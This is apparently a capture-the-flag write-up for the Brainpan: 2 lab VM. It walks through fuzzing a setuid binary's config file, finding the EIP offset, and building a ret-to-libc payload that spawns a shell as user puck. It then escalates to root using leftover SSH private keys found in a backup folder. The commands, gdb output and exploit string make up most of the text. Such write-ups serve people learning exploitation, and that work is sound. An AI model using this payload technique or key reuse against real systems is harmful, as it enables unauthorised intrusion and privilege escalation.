published on in writeup
tags: brainpan

Brainpan: 2 - Part 2


It was mentioned in the notes.txt file that brainpan-1.8 works from a configuration file. It also contains the following line:

- Discovered buffer overflow in the command prompt, fixed as of version 2.0

I didn’t understand this line too well, at least it wasn’t clear to me. But I took it to mean there was a buffer overflow vulnerability which is still present in 1.8.

$ ls -la
-rwsr-xr-x 1 puck  puck  17734 Nov  4  2013 brainpan-1.8.exe
-rw-r--r-- 1 puck  puck   1227 Nov  5  2013 brainpan.7
-rw-rw-rw- 1 puck  staff    27 Nov  5  2013 brainpan.cfg
$ cat brainpan.cfg

I downloaded brainpan-1.8.exe and brainpan.cfg to my Kali VM.

[email protected]:~/brainpan/2# file brainpan-1.8.exe 
brainpan-1.8.exe: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0xcce373746445bee7531358c8b349018de08ec1f3, not stripped

Even though it has a .exe extension, it’s actually an ELF executable.

[email protected]:~/brainpan/2# strings brainpan-1.8.exe 



There are is only one instance of strcpy in the binary - adjacent to a socket function. I’ve no idea if this is a valid assumption, but I figured this meant the vulnerable function would be part of the formation of that socket. The configuration file handled the bind address and port and provides an easy method of manipulating the input to the application.

I first tried fuzzing the port parameter.

[email protected]:~/brainpan/2# python -c 'print "port=" + ("A" * 100) + "\n" + "ipaddr="' > brainpan.cfg  
[email protected]:~/brainpan/2# ./brainpan-1.8.exe 
port = 0
ipaddr =
[!] port not configured

No dice.

[email protected]:~/brainpan/2# python -c 'print "port=0" + "\n" + "ipaddr=" + ("A" * 100)' > brainpan.cfg 
[email protected]:~/brainpan/2# ./brainpan-1.8.exe 
port = 0
[!] port not configured
Segmentation fault

Wow, excellent.


The EIP offset is 44 bytes. A quick test to verify.

[email protected]:~/brainpan/2# python -c 'print "port=0" + "\n" + "ipaddr=" + ("A" * 44) + ("B" * 4) + ("C" * 452)' > brainpan.cfg 
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax            0xffffffff   -1
ecx            0xb7fa736c   -1208323220
edx            0x18 24
ebx            0xb7fa5ff4   -1208328204
esp            0xbffff4e0   0xbffff4e0
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0x42424242   0x42424242
(gdb) x/50x $esp -20
0xbffff4cc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff4dc: 0x42424242  0x43434343  0x43434343  0x43434343
0xbffff4ec: 0x43434343  0x43434343  0x43434343  0x43434343
0xbffff4fc: 0x43434343  0x43434343  0x43434343  0x43434343
0xbffff50c: 0x43434343  0x43434343  0x43434343  0x43434343
0xbffff51c: 0x43434343  0x43434343  0x43434343  0x43434343
0xbffff52c: 0x43434343  0x43434343  0x43434343  0x43434343
0xbffff53c: 0x43434343  0x43434343  0x43434343  0x43434343
0xbffff54c: 0x43434343  0x43434343  0x43434343  0x43434343
0xbffff55c: 0x43434343  0x43434343  0x43434343  0x43434343
0xbffff56c: 0x43434343  0x43434343  0x43434343  0x43434343
0xbffff57c: 0x43434343  0x43434343  0x43434343  0x43434343
0xbffff58c: 0x43434343  0x43434343

Looking through the registers and memory stack, it appears as though I can overwrite EBP, EIP and a lot of the stack. Overwriting ESP is not useful to me however, as this binary has been compiled with NX support.

[email protected]:~/brainpan/2# checksec --file brainpan-1.8.exe 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   brainpan-1.8.exe

This protection means that code located on the stack will not be executed, so even if I could find a JMP ESP insruction (of which there are none in the binary anyway), shellcode will not be executed. A popular type of attack to bypass NX is called ret-to-libc.


libc is the standard c library and provides multiple functionality for a programmer, including Operating System functions etc. It makes it possible to call pre-loaded functions via this library, rather than having to inject your own code. It bypasses the NX protection since nothing is being executed from the stack.

I found I had to debug the binary directly on the brainpan 2 VM, as the functions were being loaded into memory in a different location than on my Kali VM (even with ALSR disabled). I also had to copy the brainpan-1.8.exe binary and config file into /tmp, as I didn’t have permissions to use GDB in the current directory (a hearty hat-tip to teh3ck for pointing that out to me :))

I found the addresses where system() and exit() were loaded into memory.

$ gdb ./brainpan-1.8.exe -q
Reading symbols from /tmp/brainpan-1.8.exe...done.

(gdb) b main
Breakpoint 1 at 0x8048d3b: file brainpan-1.8.c, line 50.

(gdb) r
Breakpoint 1, main (argc=1, argv=0xbffffea4) at brainpan-1.8.c:50

(gdb) p system
$1 = {<text variable, no debug info>} 0xb7fd0640 <system>

(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7e8e550 <exit>

I have to pass a few variables into the system function. The first is obviously the command to be executed, which I want to be /bin/sh. In a normal shell this would already be defined as an environmental variable (verify this by typing env on your VM and you’ll see something like SHELL=/bin/bash). Doing this in my brainpan shell shows that no such variable is defined - so I did so by:

$ cd /opt/old/brainpan-1.8
$ export egg="/bin/sh"

I used my findaddr binary to find the location of this new variable in memory:

$ /tmp/findaddr
egg => 0xbfffffcc

The second variable is a system return address - you don’t strictly need this, but if a program does not exit cleanly it can often crash/core dump/leave logs etc. So it’s probably better practice to give correct exit functions where possible. I used the exit() function for this, so that when I close my new shell, the brainpan-1.8.exe will also exit cleanly without crashing/seg faulting.

The structure of the exploit goes: Padding + system() + exit() + /bin/sh.

$ python -c 'print "port=0" + "\n" + "ipaddr=" + ("A" * 44) + "\x40\x06\xfd\xb7\x50\xe5\xe8\xb7\xcc\xff\xff\xbf"' > brainpan.cfg
$ ./brainpan-1.8.exe
port = 0
[!] port not configured

$ id;whoami
uid=1000(anansi) gid=1000(anansi) euid=1001(puck) groups=1001(puck),50(staff),1000(anansi)

Robin Goodfellow…

… I mean Puck…

I could now access puck’s home directory.

$ cd /home/puck
$ ls -la
drwxr-xr-x 3 puck  puck  4096 Nov  5  2013 .backup
-rw------- 1 puck  puck     0 Nov  5  2013 .bash_history
-rw-r--r-- 1 puck  puck   220 Nov  4  2013 .bash_logout
-rw-r--r-- 1 puck  puck  3392 Nov  4  2013 .bashrc
-rw-r--r-- 1 puck  puck   675 Nov  4  2013 .profile
drwx------ 2 puck  puck  4096 Nov  5  2013 .ssh

As with the user anansi, I copied my public key into .ssh/authorized_keys and SSH’d in through my existing tunnel.

So far, the .bash_history file for all the users has been empty. But the .bash_history file inside .backup still has some content - and very enlightening it was too.

[email protected]:~$ cat .backup/.bash_history
ssh -l "root " brainpan2
mkdir .backup
mv .ssh .bash* .backup

It appears as though puck has the ability to SSH as the real root user. It’s evident that after the backup directory was created, the SSH Keys were moved inside.

[email protected]:~$ ls -la .backup/.ssh
$ ls -la
-rw------- 1 puck puck 1675 Nov  4  2013 id_rsa
-rw-r--r-- 1 puck puck  396 Nov  4  2013

The files are still there, so I gave it a try…

[email protected]:~$ ssh "root "@ -p 2222 -i .backup/.ssh/id_rsa
[email protected]:~# id; whoami
uid=0(root ) gid=0(root ) groups=0(root )


[email protected]:~# cat /root/flag.txt


Special thanks to: